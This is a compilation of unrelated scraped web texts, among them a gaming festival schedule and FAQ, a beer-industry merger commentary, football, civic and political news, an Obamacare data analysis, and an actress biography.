7:00 - (Super Smash Bros. Melee singles top 8)(Magic: The Gathering Standard Format)
8:00 - Wrap up
Sunday
10:00 - Tournament Registration
11:00 - (Madden NFL 17)(Counter-Strike: Global Offensive)(Student Halo 5: Guardians)
12:00 - (Mortal Kombat XL Finals)(Guild Ball)
2:00 - (Overwatch PS4)(Super Smash Bros. for Wii U Finals)(League of Legends)(Halo 5: Guardians Finals)(Heroclix Battle Royales)
3:00 - (Student FiFA)(Dota 2)
4:00 - (Melee Finals)(Call of Duty: Infinite Warfare Finals)
5:30 - (Overwatch PC Finals)
6:00 - (Rocket League)(Street Fighter V Finals)
7:00 - Wrap up
Tournaments
Instead of recreating, reconfiguring, or repurposing an already-vibrant gaming community, we simply invited the area's best gaming event organizers to program a variety of tournaments for the games you love to play and compete in. To compete in any of these tournaments, buy a ticket to NOLA Gaming Fest, show up and give your entry fee to the tournament organizer.
Entry fees for video games start at $5 and will not exceed $10 for any given tournament. If you have a question about a specific tournament holler at us on our event page:
Shooters
Call of Duty: Infinite Warfare - PS4
$500 Pot Bonus + Cut of entry fees
Overwatch - PC
$1,000 Pot Bonus + Cut of entry fees
Overwatch - PS4
Cut of entry fees
Halo 5: Guardians - Xbox One
$500 Pot Bonus + Cut of entry fees
Counter-Strike: Global Offensive - PC
Cut of entry fees
Fighters
Street Fighter V - PS4
$1,000 Pot Bonus + Cut of entry fees
Mortal Kombat X - PS4
$200 Pot Bonus + Cut of entry fees
Killer Instinct - Xbox One
Cut of entry fees
Super Smash Bros. for Wii U - Wii U
$500 Pot Bonus + Cut of entry fees
Super Smash Bros. Melee - GameCube
$500 Pot Bonus + Cut of entry fees
Project M - Wii
Cut of entry fees
Ultimate Marvel vs. Capcom 3 - System TBD
Cut of entry fees
King of Fighters 14 - System TBD
Cut of entry fees
BlazBlue: Central Fiction - System TBD
Cut of entry fees
Sports
Madden NFL 17 - PS4
$1,000 Pot Bonus + Cut of entry fees
NBA 2K17 - PS4
$1,000 Pot Bonus + Cut of entry fees
FIFA 17 - PS4
Cut of entry fees
Rocket League - PS4
Cut of entry fees
MOBAs
Dota 2 - PC
Cut of entry fees
League of Legends - PC
Cut of entry Fees
Tabletop & Collectible card game
Hearthstone: Heroes of Warcraft - PC
Cut of entry fees
Magic: The Gathering - Tabletop
Cut of entry fees
HeroClix - Tabletop
Cut of entry fees
Guild Ball - Tabletop
Cut of entry fees
Pokêmon Trading Card Game - Tabletop
Cut of entry fees
Star Wars X-Wing Miniatures Game - Tabletop
Cut of entry fees
VR Lounge
Our friends at High Voltage Software will be working closely with us to build out a VR Lounge to give players a chance to try out their latest and greatest titles in a setting that is as comfortable as being home in your very own living room. Whether you're a VR veteran or a total noob you'll want to check out the VR Lounge and give Damaged Core and Dragon Front a go.
Sponsor
Thank you so very much to all of our sponsors, we absolutely could not have done this without you. If you'd like to get involved and be amongst this elite group of humans, just shoot us an email at holler@igl.gg
Frequently Asked Questions:
How much are tickets to NOLA Gaming Fest?
Online tickets are $35, and get you in both days of the event. Tickets at the door cost $40, and also get you in both days. We do this for two reasons:
To reward those of you who register in advance, which helps us better plan for the event based on projected attendance. Managing a registration table with thousands of people buying tickets day-of (and paying in various forms) is a lot harder than dealing with a few hundred. Help us out (and yourself), and buy a ticket online before you get to the event.
Can I get a booth to sell my wares, show off my artwork, or demo my game?
Yes! Go to nolagamingfest.com and buy a booth there (note: booths come with two tickets)
How do I sign up for a tournament, and what does it cost?
First you need to buy a ticket to the actual event, which is separate from any individual tournament fees. Once you arrive on Saturday, registration for the various tournaments begins at 10am.
What if I miss the 10am sign up?
Tournament organizers will keep their sign-ups open as long as possible, but they will eventually close them so brackets can be created. It will be up to the individual TOs to decide whether or not to accept late entries (which they are not required to do).
Is there special pricing for children?
Not publicly, though some New Orleans schools have secured a discounted ticket for their students. If your school has done so, they should have made an announcement letting you know how to access this discount. If your school has not, contact them and ask them to get in touch with us via our Facebook page.
What qualifies me to be in the free student tournament?
All K-12 students are eligible.
Do I still have to pay if I don’t want to compete in tournaments?
Yes, to gain entry to the venue you must buy a ticket to NOLA Gaming Fest. That being said, there will be a lot more than just tournaments happening; we have vendors and artists of all kinds, a VR Gaming panel and lounge where you can play VR games, a 'retro game' play area, and a whole lot more.
Can I bring my own console, PC, or table top game so I can play with friends?
Yes! Feel free to bring as much gear as you like, but remember you are responsible for keeping track of it.
Can I buy a ticket for just one day or share my ticket with someone else?
We only offer tickets that get you in both days, and you cannot share your ticket with others (names/IDs are verified at the time of registration).
Can I come and go as I please?
Yes, you can leave the event and come back as many times as you like throughout the weekend.
How much does parking cost?
Parking is free for both days.
What is your refund policy?
Tickets are non-refundable, as all sales are final. This is our policy because NOLA Gaming Fest is a fundraiser that lest us run summer camps for kids at discounted rates. If you do feel the need for a refund, just consider your ticket a donation to a truly great cause.
Can you tell me more about this great cause?
Each summer we run DATA Camp, which uses video games as a means to inspire kids to learn more about the digital arts. The more money we have in our coffers, the more we can do at those camps, as many families either need a reduced cost to attend or completely free access. We do our best to make that possible by covering our costs through running large events, like NOLA Gaming Fest.
This post is not about whether it will happen, but about what can be expected here if it did. I find I have more questions than answers. I am focused on the U.S. picture and what it might mean for this market. I anticipate many interested parties will engage to help The Department of Justice (DOJ) evaluate concentration of market concerns. Regulators would be expected to require that the Miller component in the U.S. not be included in the deal for concentration of market concerns. DOJ didn’t allow the U.S. absorption of Modelo without a selloff (to Constellation Brands-Beer Divsion), so it is hard to think that they would allow absorption of Miller. That means that Miller brands in the U.S. could be sold off to MolsonCoors or other large international entities inside or outside of the current beer universe. Constellation Brands—Beer Division, Heineken or Carlsberg could all have some interest. There may be large money interests looking to get into the beer space as well, as beer at that scale generates significant cash flow and profitability. My notes from Benj Steinman’s intro at the 2014 Beer Marketers Insights Spring Conference show that MillerCoors had an operating profit in the U.S. of just under $1.3 billion in 2013. That number will be very attractive to somebody. Who is willing to pay what to get it? I have also read today that Chinese regulators may have an interest.
There is always this tickler in the back of my mind when I think about MillerCoors that the companies involved entered into a 10-year joint venture in 2008. What are the details of that joint venture in the event of this potential deal? Does renewal of the joint venture become less attractive to MolsonCoors based on a new partner if they don’t get the Miller brands in the U.S.? Does a potential joint venture with a new partner potentially bring different international brands into the picture creating an even larger? What happens with non-Miller-branded products owned by SABMiller that are imported into the U.S.? What happens with a brand such as Leinenkugel’s, which was bought by Miller in 1988? Would the Leinenkugel’s brands be a required divestment or could that potentially become owned by Anheuser Busch-InBev?
In terms of impact on craft, my first thought is that most craft brewers operate in a different sphere—their communities and regions primarily. They serve the roles/purposes of being parts of and building communities. Many craft brewers would look at a potential deal of Anheuser Busch-InBev and SABMiller as not relevant to their businesses and will keep on doing what they do—make flavorful and high quality beer, engage beer drinkers and serve the community through jobs, involvement and serving as a place for people to gather and discuss the events of the day. The American public continues to respond by sampling more new craft brewed beers and buying more of their favorites. Those societal trends won’t change because of this deal. (Although there could be a danger of greater commoditization perception of beers in the same lager and light lager profiles if people think of the large brewers as being all the same company.)
Whenever there is a deal that impacts the U.S., one of the first things I think about is what will the impact be to the distribution network. Will brands change distributor houses or not? Since MillerCoors houses accelerated in consolidation at and after the turn of the century, it is hard to picture this piece unraveling, particularly if MolsonCoors becomes the owner of Miller brands in the U.S. It is hard to see the retail landscape changing much because of the deal. Will it matter to the beer drinker? Can the beer drinker relate to news of a global megamerger about beer? There have been an increasing number of craft brewer transactions inside and outside of craft lately. To what degree will this giant merger and other deals, some of which may impact beer drinkers’ relationships to specific brewers, impact perceptions of beer to where it becomes less of an item of personal passion or more of an item of personal passion? Will future transactions in and from the craft space hurt the brand of craft? Time will tell all.
Paul Gatza
Director, Brewers Association
September 16, 2015
Update 1, September 17, 2015 from Paul Gatza and Chris Swersey.
Brewers Association Technical Brewing Projects Manager Chris Swersey and I met to discuss the potential impacts of a global acquisition of this scale on raw materials for U.S. brewers. This impact is likely to be far greater and more immediate outside the U.S. Whereas U.S. brewers wouldn’t see much impact for awhile in the barley malt area, but the long-range picture (10 to 15 years) does have potential negative impacts that creates opportunities for brewers and maltsters to address over the next several years.
Coors, SABMiller and Anheuser-Busch each conduct barley variety development programs, and own malting capacity to varying degrees, suited to their needs. After an ABI acquisition of SABMiller, the amount of malting capacity owned by the combined largest brewer potentially goes up which could tighten availability of malting capacity and interest in diverse malting lines for every else. This year, craft brewers will consume 33-35% of all malt used by U.S. brewers, and that proportion will continue to grow in coming years. Craft brewers as a group can help themselves by simply doing the business they need to do. Larger craft brewer requests and contracts to malt different barley lines will be crucial to creating availability for all brewers for malts better suited to all-malt brewing. In this regard, the large malting companies which do business with craft brewers will play a crucial role in binning and malting these varieties. Indeed, this year large maltsters have announced plans to lay in significant new capacity. We have also talked for a few years about how craft maltsters are going to be very important to create greater diversity in malt – geographic, varietal and flavor-wise. That importance may have just grown significantly.
Fabio Borini has dug his heels in.
He may be digging himself a hole as well because by rejecting a move away from Liverpool the 23-year-old could have guaranteed a season on the sidelines.
The Italian striker is understood to have priced himself out of a transfer on deadline day to Queens Park Rangers after the London club reached an agreement with the Reds.
Brendan Rodgers, who made Borini his first signing when he took the reins in 2012, spelt out the striker’s situation to the ECHO in the days building up the window closing.
Basically, and to paraphrase, he told Borini ‘if you want to play regularly then you need to leave’.
But Borini remains and is determined to force his way back into the manager’s plans.
Why not? He signed a long-term deal and wants to see it out.
He joined Liverpool because he wanted to prove himself at a major club having been released by Chelsea.
The problem is he is last in the pecking order.
Daniel Sturridge, Mario Balotelli and Rickie Lambert are ahead of him yet Borini has made his decision and declared himself “very happy” to still be at Anfield.
It will be interesting to see how long that lasts.
Of course it only takes an injury, like the one Sturridge has suffered this week on England duty, or suspension to give Borini hope of a place on the bench but even then he remains on the sidelines.
But maybe, Borini has looked at the case of Jordan Henderson.
As Borini came in during Rodgers’ first summer, Henderson was geared up to leave.
Rodgers had offered the midfielder the chance to leave for Fulham but Henderson, like Borini, said no.
Now, there would be uproar if he was omitted from the team-sheet.
Image 1 of / 9 Caption Close S.F. has new data-driven solution to old S.F. problem: human excrement 1 / 9 Back to Gallery
San Francisco is taking a new data-driven approach to a longtime city problem: human excrement.
For decades, feces on streets and sidewalks has been one of the biggest quality-of-life issues for San Francisco residents and visitors, particularly in the hard-edged Tenderloin, home base for many of the city's homeless and the nonprofits that provide them clothes, addiction help and meals.
Now, after a chorus of complaints and a month spent mapping the highest concentrations of human excrement in the Tenderloin, the Department of Public Works on Tuesday will roll out the city's latest approach: mobile bathroom stations at the three most well-used areas.
Each station will include two specially outfitted portable toilets, a sink, a needle disposal bin and a dog waste station, all mounted on a flatbed trailer.
"We're championing our residents' right to clean streets and a safe place to do their business with dignity," said Supervisor Jane Kim, who represents the area and has been pursuing a public toilet program since fall of 2012.
Addressing prior mistakes
The city is calling the effort the Tenderloin Pit Stop, and officials are trying to learn from the past.
After San Francisco installed self-cleaning public toilets in places like Civic Center Plaza in the mid-1990s, some quickly became favorites for drug dealers and junkies, both for business and pleasure. The toilets were common backdrops in Berkeley filmmaker Steven Okazaki's 1999 television documentary on heroin addiction, "Black Tar Heroin: The Dark End of the Street."
The city's new approach is to assign an attendant to each portable bathroom station during hours of operation, planned to be from 2 to 9 p.m., Tuesdays through Fridays. The idea is to have the stations available when social benefit checks are typically paid out and a few hours after meals are served at nearby soup kitchens.
The stations are designed to be well lit, and those using the toilets will have five minutes before getting a courtesy knock on the door from the attendant. The doors will lock from the inside, but the attendant will have a key to open them from the outside if needed, officials said.
Cleaned every night
The stations will be trucked away and cleaned each night before being returned the next day, making them unavailable for late-night shenanigans.
One portable bathroom station will be at Golden Gate Avenue between Jones and Taylor streets, a block from the St. Anthony Dining Room. Another will be on Ellis Street between Jones and Taylor, across from Glide Memorial United Methodist Church. The third will be on Hyde Street between Turk and Eddy streets in what Public Works Director Mohammed Nuru described as a hangout area that scored high in the city's feces count in April.
During the last fiscal year, Nuru's agency responded citywide to more than 16,000 requests for steam cleaning, about half of them for human feces, officials there said. Last month, the city acted on nearly 1,000 requests to clean up human feces, and more than half of those - 529 - were in the Tenderloin, according to public works officials, who described the problem as both a cleanliness issue and a health hazard.
An estimated 4,000 children live in the Tenderloin, according to city figures, as do many seniors or people with chronic illnesses.
Kids' testimony
"We have data that indicate this definitely is a problem in the Tenderloin," said Nuru, who said the point was driven home this year during a community meeting on budget priorities at De Marillac Academy, a Catholic school across the street from St. Anthony's.
"The kids talked about their walk to school and the things they have to encounter," Nuru said. "That just hurt to see that kids had to deal with that."
Nuru dispatched staff in April to catalog the feces on more than 13 square blocks of the Tenderloin on four different days. They cross-referenced that with requests for sidewalk and street steam cleaning. The result was Tenderloin Pit Stop, a pilot project that will run until mid-January at a cost of about $150,000, officials said.
"I think the taxpayers' money is going down the drain," Mohsin Gul said Monday as he sat on the ground smoking a cigarette, his back against a chain-link fence next to the planned bathroom station on Golden Gate Avenue.
"They already tried it," said Gul, 62, referring to the city's decision under former Mayor Frank Jordan to install public toilets from France-based JCDecaux.
Another man, approached moments after shooting up what he said was heroin about 20 feet from the entrance to St. Anthony's, disagreed.
"It may be chaos, it may be a pain in the butt to run, but it's still better than having people defecating on the sidewalk ... or just having to deal with the psychological and physical distress of not finding a place to go," said the man who identified himself only as Jim, 36 years old and homeless in San Francisco for 13 months.
The city's poop survey found that most often people who defecated in public sought some sort of privacy, whether it was a fire-exit doorway, alleyway or between parked cars.
Gail Gilman, executive director for Community Housing Partnership, a nonprofit at Jones and Market streets, said trying this approach "makes sense."
If it's successful, the city will look to replicate it in other neighborhoods, with the first candidate likely to be South of Market around Sixth Street.
"I’m still scratching my head about why they did it."
Does a money pit like Motorola have a major impact on Google’s bottom line? In a lot of ways, the answer right now is no. Despite the losses, Google is profitable overall, and its cash on hand has grown steadily. But if Motorola continues to slide, Google may eventually be forced to write down the cost of the $12.5 billion acquisition — and its investors could clamor for the company to scuttle what has so far been a painful experiment into the world of mobile hardware. "Looking at the purchase I’m still scratching my head about why they did it," says Avi Greengart, the research director for consumer devices at Current Analysis, "and how they see it playing out going forward."
During this past quarter, Google introduced the Moto X, the first clean-slate phone created under Google’s influence (Verizon’s customized Droids notwithstanding). The phone was well received by critics. "The Moto X is a great device," says Greengart. "It really shows what you you can do with Android if you chose to extend it rather than cover it up." But the device hasn’t sold well enough to stem the division's growing losses — this despite reports that Google only needed to sell around 6 million units to break even. That’s a drop in the bucket compared to the tens of millions of iPhones and Galaxys that Apple and Samsung sell quarter after quarter.
The Moto X shows what Android is really capable of
One of the major obstacles working against a Google-owned Motorola was a lack of marketing and distribution. The Moto X was only available in a few countries, while new Droid models were only available in America on one carrier. "Motorola achieved a few things with the Moto X. It showed how it could position versus other Android handset vendors by embracing Google's technologies and how it could differentiate via a dedicated coprocessor and clever use of sensors," says Ross Rubin, principal analyst at Reticle Research. But in order to succeed long term, "Motorola needs to build tighter relationships with other carriers after a long tie-up with Verizon on the Droid line. And it needs to build its brand back while being a conduit for advanced Google technologies."
Patents were another big part of the rationale behind the Motorola purchase, with Google telling investors it would help to protect the Android ecosystem from competitors’ lawsuits. But so far that intellectual property hasn’t added up to much. In a licensing dispute with Microsoft, the patents were ruled to be worth just $1.7 million a year, a far cry from the $4 billion Motorola demanded of Microsoft in 2010. Motorola’s patents also failed to win a decision with the ITC that would have blocked the import of the iPhone. "Some of these patents may still be good for protecting against lawsuits and developing new devices, but if Google’s rationale was that they were buying a licensing business, as they said, then they got burned," says Greengart.
"Financially speaking, however, Motorola hasn’t been a flop. It’s been a disaster."
Phones and patents aside, Google could still justify the expense of the acquisition if Motorola were pushing the boundaries on hardware innovation — Mountain View loves to sink money into "moon shot" projects, like Calico or Glass, that showcase its engineering chops. A recently revealed patent showed Motorola has worked on designs for a smartwatch, for instance, something Google is expected to unveil soon (likely in collaboration with another acquisition, WIMM Labs). Set-top boxes are less likely; despite reports it may be working on one, Google recently sold off Motorola’s set-top division to Arris for $2.35 billion — and Chromecast, Google’s latest foray into the living room, isn’t a Motorola project. Some of Motorola’s hundreds of hardware patents may prove useful down the line, but so far its IP has been a bust.
"Google builds Motorola phones, but also makes phones with other partners. They had Motorola's set top division, but they sold that. Then they found another partner for Chromecast. It's confusing," says Greengart. "Especially when you're trying to re-establish the brand."
The U.S. Geological Survey recorded the quake at 9:56 a.m. Wednesday about three miles northeast of Greenbrier. It's 1 of 10 quakes the U.S.G.S has recorded in the region since a 3.9 magnitude quake recorded at 6:11 p.m. Wednesday.
Greenbrier police dispatcher Steve Priddy said there are no reports of damage or injuries.
Seven tremors of 3.0 magnitude or greater have struck the region since the closure of the injection wells by Oklahoma City-based Chesapeake Energy and Clarion operating.
A subsidence crater is a hole or depression left on the surface of an area which has had an underground (usually nuclear) explosion. Many such craters are present at the Nevada Test Site, which is no longer in use for nuclear testing.
Subsidence craters are created as the roof of the cavity caused by the explosion collapses. This causes the surface to depress into a sink (which subsidence craters are sometimes called, see more: sink hole). It is possible for further collapse to occur from the sink into the explosion chamber. When this collapse reaches the surface, and the chamber is exposed atmospherically to the surface, it is referred to as a chimney.
It is at the point that a chimney is formed through which radioactive fallout may reach the surface. At the Nevada Test Site, depths of 100 to 500 meters (330 to 1,640 ft) were used for tests.
Rubble mound formed by the Whetstone Sulky explosion.
When the material above the explosion is solid rock, then a mound may be formed by broken rock that has a greater volume. This type of mound has been called "retarc", "crater" spelled backwards.[1]
When a drilling oil well encounters high-pressured gas which cannot be contained either by the weight of the drilling mud or by blow-out preventers, the resulting violent eruption can create a large crater which can swallow a drilling rig. This phenomenon is called "cratering" in oil field slang. An example is the Darvaza gas crater near Darvaza, Turkmenistan.[2]
Gallery [ edit ]
Subsidence craters in the southern section of the Nevada Test Site
Subsidence crater in formation
President Donald Trump will sign legislation overturning the Consumer Financial Protection Bureau’s mandatory arbitration rule Wednesday afternoon, according to a White House official.
The president’s decision comes despite a personal appeal from CFPB Director Richard Cordray and veterans groups, who opposed a congressional vote to overturn the consumer watchdog's rule using the Congressional Review Act.
Story Continued Below
The rule bans forced-arbitration clauses in contracts, making it easier for bank and credit card customers to sue to settle disputes.
A banking industry representative applauded the news.
“The CFPB’s rule was never about protecting consumers; rather, it was about protecting trial lawyers and their wallets,” said Richard Hunt, chief executive officer of the Consumer Bankers Association. “The bureau’s own study backs that up and proves trial lawyers would have been the real winners.”
We’ve seen numerous attempts to recreate the old classic Resident Evil games in modern game engines in the past. And while we, most probably, won’t see any of them reaching a playable state, we can somehow satisfy our desire for such a thing with smaller tech demos.
Take for example this recreation of Resident Evil 2’s police station main hall in Unreal Engine 4. This demo was created by CryingHorn and looks really cool. What’s even better, though, is that CryingHorn has released his demo to the public. Great huh? Well, things get better as CryingHorn has also released a VR version of this demo.
Those interested can download the non-VR version of this fan remake from here and the VR version from here.
CryingHorn has used the Umbrella Corp’s demolished police station as a reference point. As such, he did not really create/model any of the models or textures used here. Still, the end result is great and gives as a glimpse at what the official Resident Evil 2 remake may look like (unless of course it’s more of a remaster and not a complete remake).
Enjoy!
The above Metro staff report explains how the agency plans to go forward.
The gist of it: as for the question of rail conversion and extending bus rapid transit to Burbank and Pasadena, Metro plans to have those issues studied as part of an ongoing “mobility matrices” process. Yes, that’s a mouthful. In plain English, the matrices are evaluating potential transportation projects around Los Angeles County to see which should be included in an update of Metro’s long-range plan.
An update of Metro’s long-range plan, in turn, could be used to select projects to be funded by a possible ballot measure in 2016 that Metro is considering, as this report explains.
The matrixes are currently scheduled to be presented to the Metro Board in April.
The staff report also lists some possible immediate, short-term and long-term improvements that could be made to the Orange Line (see pages 3-4 of the staff report) and are in need of more study and/or work.
Among those: getting bus operators to maintain a more consistent speed to get more green lights, possibly extending peak hour service, possibly adding service between North Hollywood and Reseda stations, possibly increasing bus speeds across intersections from 10 mph to no more than 25 mph, possibly removing some seats on the bus to accommodate more bikes, studying whether buses longer than 60 feet can be used and investigating grade separation of some of the larger Orange Line intersections.
From the Department of From What It’s Worth: I spent the better part of a day in August riding and photographing the Orange Line. I think the bus is a very comfortable way of getting around, but it’s also obvious that the bus has mixed success hitting green lights consistently (some of the red lights did quickly turn green). Some pics I took on one ride between Sepulveda Station and Warner Center:
Cleveland Municipal Court Judge Ronald Adrine spared 37-year-old Michelle Schwab jail time after she pleaded guilty to one count of aggravated trespassing in connection with the April accident that left her 2-year-old son with a broken leg.
A crying Schwab told Adrine the incident was "the worst day of my life." Her attorneys argued that the international media attention her case garnered and the effect on her family and her career were punishment enough.
Adrine said he understood the stress Schwab's family has been through, but called her actions "scary" and "unconscionable."
Adrine sentenced Schwab to 180 days in jail, but suspended the jail time. Instead, she will serve probation for one year, take parenting classes and pay court costs.
Prosecutors originally charged the Delaware woman with child endangering, a first-degree misdemeanor. Cleveland Metroparks rangers accused her of dangling her son over the edge of the railing at the zoo's cheetah exhibit.
Schwab, who works at a suburban Columbus childcare facility, pleaded not guilty to child endangering. She argued in court that she sat the boy on the railing, and he tumbled into the pit when she turned her back.
Prosecutors agreed to amend the charge to aggravated trespassing, also first-degree misdemeanor. Schwab pleaded no contest to that charge.
Appearing on the Family Research Council’s Washington Watch, a religious scholar who calls himself “America’s Rabbi” claimed that liberals are sexually attracted to the “the masculine strength and brutality of Islam.”
Asked by host Tony Perkins why “the left” favors Islam, Rabbi Daniel Lapin explained there is a sexual dimension to it which, in turn, explains why young women are drawn to terrorist organizations like ISIS.
In audio captured by Right Wing Watch, Lapin began by explaining traditional gender roles, before stating that “There are countless studies showing that feminine-type behavior produces an excess of estrogen in men and vice versa.”
He then explained how “leftism” has feminized America.
“Today, after a 30- or 40-year epidemic of leftism that has swept its sordid stain across America, we’ve become much more feminized and we are attracted to the masculine strength and brutality of Islam,” he said. “This is the girl in the high school being attracted to the bad, tough guy and that’s really what’s happening.”
Calling it irrational, Lapin continued, “When people are sexually attracted you see irrational behavior. On a spiritual level, the feminized American left, show business, politicians, particularly academia, all the people who love Islam, when Christianity and Judaism are exactly the reverse.”
Now a large set of data — from Enroll America, the group trying to sign up people for the program, and from the data firm Civis Analytics — is allowing a much clearer picture. The data shows that the law has done something rather unusual in the American economy this century: It has pushed back against inequality, essentially redistributing income — in the form of health insurance or insurance subsidies — to many of the groups that have fared poorly over the last few decades.
The biggest winners from the law include people between the ages of 18 and 34; blacks; Hispanics; and people who live in rural areas. The areas with the largest increases in the health insurance rate, for example, include rural Arkansas and Nevada; southern Texas; large swaths of New Mexico, Kentucky and West Virginia; and much of inland California and Oregon.
Another Map!
Each of these trends is going in the opposite direction of larger economic patterns. Young people have fared substantially worse in the job market than older people in recent years. Blacks and Hispanics have fared worse than whites and Asians. Rural areas have fallen further behind larger metropolitan areas.
Women are the one modest exception. They have benefited more from Obamacare than men, and they have received larger raises in recent years. But of course women still make considerably less money than men, so an economic benefit for women still pushes against inequality in many ways.
The Affordable Care Act was passed in 2010, but the law’s biggest insurance expansion provisions went into effect in January, when millions more people qualified for state Medicaid programs, and new subsidized insurance plans sold in state marketplaces kicked in.
All Uninsured Rate
Over all, about 10 million Americans who had no insurance in 2013 signed up for it this year, according to the Enroll America/Civis model. The groups estimate that the national uninsured rate for adults under 65 fell to 11 percent from 16 percent. (Because of the federal Medicare program, which provides universal coverage to Americans over 65 who meet certain basic requirements, more than 98 percent of that group has health insurance.)
Other estimates, including those from Gallup and the health research group the Commonwealth Fund, show higher uninsured rates but a similar reduction in the number and percentage of Americans without insurance. Enroll’s data analysts said their survey appears to have undercounted the uninsured a bit in both years, because they interviewed a smaller number of Hispanics, men and people with low incomes than the census measured. Those people are less likely to be insured, but were also harder for Enroll to reach because they have smaller digital footprints than other groups.
Below are several charts that help explain who was helped most by the passage of the Affordable Care Act.
Medicaid Expansion
That state boundaries are so prominent in the map attests to the power of state policy in shaping health insurance conditions. The most important factor in predicting whether an American who had no insurance in 2013 signed up this year was whether the state that person lives in expanded its Medicaid program in 2014. (Just consider the contrast between Kentucky, which expanded Medicaid, and Tennessee, which did not.)
In 2012, the Supreme Court gave states the right to opt out of the expansion. In all, 26 states and the District of Columbia expanded Medicaid programs this year, and at least one more state — Pennsylvania — will expand next year. Predominantly, the states that expanded had Democratic political leadership, while those that declined were governed by Republicans, but there were exceptions in both directions.
Race
Blacks and Hispanics entered this year with higher uninsured rates than whites and Asians. That’s still true, but they have also shown substantially larger gains. Matthew Saniie, the director of analytics and data at Enroll, said he attributed the racial trends to two main factors: existing high uninsured rates for those groups, and disproportionate poverty, meaning more people who qualify for Medicaid. In the case of Hispanics, he also said that California’s huge outreach effort, strongly targeted at its Latino population, gave the group another strong enrollment boost.
Age
Critics of the Affordable Care Act have often warned that the program would be unfair to the young because it limits the ability of insurance companies to charge higher rates to older customers, who tend to be sicker. But young adults show the largest reductions in being uninsured of any age group. And that’s not counting the approximately 3 million young adults who received coverage on their parents’ policies before 2014.
Income
People with the lowest incomes tended to benefit the most from the law. That makes sense, given how the Affordable Care Act is designed. In states that expanded Medicaid, low-income people can get insurance without having to pay a premium. And for middle-income people who qualify for tax credits to help them buy insurance, the subsidies are most generous for those lowest on the income scale. Poorer people were always the least likely to have insurance because their jobs rarely offered it and private premiums were often unaffordable.
Gender
Women were more likely to have insurance before this year, a reflection of existing state Medicaid policies, which offered coverage to pregnant women and mothers, but not childless adults. But that existing gender gap is widening. Professionals doing insurance outreach said that women were often easier to reach and more concerned about access to health care than men.
Politics
Despite many Republican voters’ disdain for the Affordable Care Act, parts of the country that lean the most heavily Republican (according to 2012 presidential election results) showed significantly more insurance gains than places where voters lean strongly Democratic. That partly reflects underlying rates of insurance. In liberal places, like Massachusetts and Hawaii, previous state policies had made insurance coverage much more widespread, leaving less room for improvement. But the correlation also reflects trends in wealth and poverty. Many of the poorest and most rural states in the country tend to favor Republican politicians. Of course, the fact that Republican areas showed disproportionate insurance gains does not mean that only Republicans signed up; there are many Democrats living in even the most strongly Republican regions of the country.
Where People Live
People who lived in rural areas were more likely to gain insurance than those living in big cities.
Prior Insurance
Over all, the changes tended to be strongest among the groups that were the least likely to be insured. The single most predictive question in the Enroll model for 2014 was whether someone was insured in 2013. That also means that the newly insured are not substantially different from the remaining uninsured in broad demographic terms. There are still a lot of uninsured people remaining, many in the places that had high uninsured rates last year.
Who remains uninsured in 2014
10% 12% 14% 16% uninsured
Overall uninsured
The rules on the chopping block include prohibitions against the common ownership of both a newspaper and broadcast station in the same market. The restrictions, which have been in place for more than 40 years, are aimed at ensuring that communities have access to a diverse set of news outlets.
But Ajit Pai, the FCC's Republican chairman, says that the rules are outdated and prevent news organizations from being competitive in a market where ad dollars are being vacuumed up by internet giants like Facebook and Google.
"This rule was established in 1975 with the stated purpose of preserving and promoting a diversity of viewpoints," Pai wrote in an op-ed for The New York Times on Thursday.
"Arguably, it made sense at the time. But with the internet now dominating the news landscape, the rule is no longer needed, and may actually be undermining the diversity of viewpoints it was intended to foster."
But critics say the change will lead to increased media consolidation, shutting out smaller, independent owners from the market.
"He's fulfilling a longstanding industry wish list and ignoring how decades of runaway media consolidation have significantly harmed local news and independent voices," said Free Press CEO Craig Aaron in a statement last month. "The FCC has routinely failed -- and been repeatedly scolded by the courts for doing so -- to consider how gutting these rules will impact already abysmally low levels of broadcast ownership by women and people of color."
"We need to strengthen local voices and increase viewpoint diversity, not surrender our airwaves to an ever-smaller group of giant conglomerates," Aaron added.
Critics also say that provisions in Pai's proposal will help Sinclair Broadcast Group, the largest owner of local television stations, push through its acquisition of Tribune Media. The deal, which is currently pending FCC approval, would give Sinclair access to 77 percent of the nation's television audience. The conservative-leaning company is already the country's largest owner of local TV stations.
Opponents have also pointed to other moves at the FCC that seem designed to help Sinclair clear regulatory roadblocks.
Pai and his Republican allies have denied that the media deregulatory moves were aimed at helping any one company.
The FCC meeting isn't the only big item on the tech agenda in the coming week.
On Tuesday, the Senate Natural Resources committee will hold a hearing exploring recovery efforts in Puerto Rico at 9:30 a.m. Major technology and telecom firms, including Uber and Verizon, have donated resources and money to recover efforts. Tesla in particular has provided its battery packs and solar energy products to help bring energy back to the island.
The Senate Health Committee on Tuesday at 10:00 a.m. will hold a hearing examining gene editing technology.
Also on Tuesday afternoon, the Senate Commerce Committee will hold a hearing at 2:30 p.m. to explore the intersection of technology and agriculture with a focus on data-driven farming.
On the House side, on Monday the Rules Committee will hold a conference report on the 2018 National Defense Authorization Act, which includes controversial provisions for government procurement that Amazon has lobbied for. Critics worry the provision will help Amazon get a stranglehold on the market for government acquisitions.
On Tuesday, the House Science, Space and Technology Committee will hold a hearing on boosting cybersecurity per a directive from the Department of Homeland Security at 10:00 a.m.
Also, the House Administration Committee will hold a hearing at 10:00 a.m. on preventing sexual harassment in the congressional workplace, an issue the tech industry has also struggled with after allegations from former Uber employee Susan Fowler.
On Wednesday, the House Committee on Homeland Security will hold a hearing on cyber threat information sharing at 2:00 p.m.
That afternoon also at 2:00 p.m., the House Oversight Committee will hold a hearing on the Federal Information Technology Acquisition Reform Act.
On Thursday, the House Energy and Commerce Committee will hold a hearing examining the benefits of 5G wireless broadband.
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Early life [ edit ]
Moffett was born in London, the daughter of actors Peter Moffett (known by his stage name, Peter Davison) and Sandra Dickinson.[2] She attended St Edward's School in Oxford.[3] Her maternal grandfather, Harold Searles, was one of the pioneers of psychiatric medicine specialising in psychoanalytic treatments of schizophrenia.[4] She has two half-brothers, Louis and Joel, from her father's marriage to actress Elizabeth Morton.
Career [ edit ]
Moffett made her television debut at the age of 15 in Peak Practice (1999), playing Nicki Davey.[5] Moffett has appeared in television dramas such as The Second Quest and Like Father Like Son. She played downtrodden Alice Harding in the ITV drama Where the Heart Is in 2004 and 2005[6] and has performed alongside her father in Fear, Stress & Anger[7] and The Last Detective.[8]
